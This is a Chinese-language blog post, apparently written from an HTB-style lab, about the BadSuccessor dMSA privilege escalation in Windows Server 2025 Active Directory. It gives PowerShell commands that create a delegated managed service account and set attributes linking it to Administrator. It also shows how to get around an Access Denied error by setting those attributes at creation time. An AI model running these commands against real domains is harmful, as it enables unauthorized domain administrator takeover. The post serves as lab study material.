当前位置: 首页 > news >正文

BadSuccessor修改DMSA账户权限不足的问题解决

免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

2025年5月份时,爆出Windows Server 2025中存在一个与委派托管服务帐户 (dMSA)使用相关的严重设计漏洞。该漏洞允许仅拥有最低权限的攻击者在无需直接与特权帐户交互或修改组成员身份的情况下,提升至域管理员权限,简称BadSuccessor。也是在最近的实战过程中,踩了一些坑,在这篇文章分享一下问题和解决办法。

利用过程

网上主流的利用方式如下,这里以我在实战使用的命令演示,使用时需要替换NameDNSHostName以及对应的域路径

在拥有CreateChild权限的OU中创建dMSA

New-ADServiceAccount `-Name shuye_dmsa `-DNSHostName shuye_dmas.eighteen.htb `-CreateDelegatedServiceAccount `-PrincipalsAllowedToRetrieveManagedPassword"adam.scott" `-Path"OU=Staff,DC=eighteen,DC=htb"

设置属性并迁移到Administrator

$dMSA = [ADSI]"LDAP://CN=shuye_dmsa,OU=Staff,DC=eighteen,DC=htb"
$dMSA.Put("msDS-DelegatedMSAState",2)
$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=eighteen,DC=htb")
$dMSA.SetInfo()

问题就出现在.SetInfo()这个命令,如果我们直接执行便可能出现下面的情况:

640
出现Access is denied,这是修改dmsa账户权限不足导致的,修改dmsa账户属性通常需要域管理员权限才能修改,通过查询ACL也能看到
msDS-DelegatedMSAState
msDS-ManagedAccountPrecededByLink
没有这两个属性的修改权限

640 (1)

解决办法

其实解决办法也很简单,既然我们对dmsa账户的属性没有修改权限,那我们可以在创建dmsa账户的时候就设置好属性即可。
具体命令如下:

New-ADServiceAccount-Name shuye_dmsas -DNSHostName shuye_dmsas.eighteen.htb -CreateDelegatedServiceAccount-PrincipalsAllowedToRetrieveManagedPassword"adam.scott"-Path"OU=Staff,DC=eighteen,DC=htb"-OtherAttributes@{"msDS-DelegatedMSAState"=2;"msDS-ManagedAccountPrecededByLink"="CN=Administrator,CN=Users,DC=eighteen,DC=htb"}

成功创建了恶意的dmsa:

640 (2)

总结

该方法通过在创建dmsa账户时就赋予其属性内容可以有效解决创建dmsa账户过程中出现.SetInfo()权限不足问题,后续的利用方法可以参考网上的其他文章。

http://www.jsqmd.com/news/143574/

相关文章:

  • 敏捷开发中的测试角色:我们不再是最后的‘把关人’
  • 基于SpringBoot的ai宠物领养一站式服务系统 宠物日常分享系统_cvc3q18g
  • YOLOv11涨点改进 | 全网独家首发、细节涨点创新篇 | ACM 2025顶会 | 引入 LGFB 局部-全局融合模块,同时提升局部细节捕捉和全局上下文理解能力,在变化检测、小目标检测表现出色
  • PaddlePaddle AlphaZero简化版实现思路
  • 生成式AI在性能测试中的创新应用
  • PaddlePaddle软件缺陷预测模型
  • PaddlePaddle自然语言推理NLI模型训练
  • 测试覆盖率的认知重构:从数字崇拜到质量洞察
  • YOLOv11涨点改进 | 全网独家首发、特征融合创新篇 | ACM 2025顶会 | 引入DAAttn差异感知注意力融合模块,通过动态调整注意力,使模型更准确地识别关键内容,提高精度、并减少冗余计算
  • 【毕业设计】SpringBoot+Vue+MySQL 集团门户网站平台源码+数据库+论文+部署文档
  • PaddlePaddle智能合同审查系统开发
  • PaddlePaddle交通流量预测模型实战
  • P5:人工智能CV + NLP技术
  • AI测试中的数据隐私合规体系构建指南
  • Open-AutoGLM 2.0 高阶用法曝光:90%用户不知道的隐藏功能
  • Open-AutoGLM装机终极问答:你的电脑到底支不支持?
  • ckeditor教学案例IE下word图片粘贴转存技巧
  • 如何快速上手Open-AutoGLM 2.0?一文掌握4大核心模块操作
  • 数据-算法-部署三角关系解构
  • Java SpringBoot+Vue3+MyBatis 家教管理系统系统源码|前后端分离+MySQL数据库
  • 前后端分离协同过滤算法商品推荐系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • Open-AutoGLM自动化控制全解析,解锁AI操控移动设备的核心能力
  • 深度学习模型开发与验证标准
  • Open-AutoGLM值得入手吗:3个真实项目验证后的惊人结论
  • Open-AutoGLM能否成为下一个开发标配:一线工程师的7天高强度测试结果
  • PaddlePaddle自动驾驶决策模型训练
  • Open-AutoGLM wegrl技术内幕:仅限内部流传的7个高级用法首次公开
  • 从零构建Open-AutoGLM调用链,无需API的高可用部署方案详解
  • PaddlePaddle Swin Transformer在目标检测中应用
  • Open-AutoGLM操作App的真相:为什么它能像真人一样精准点击与滑动?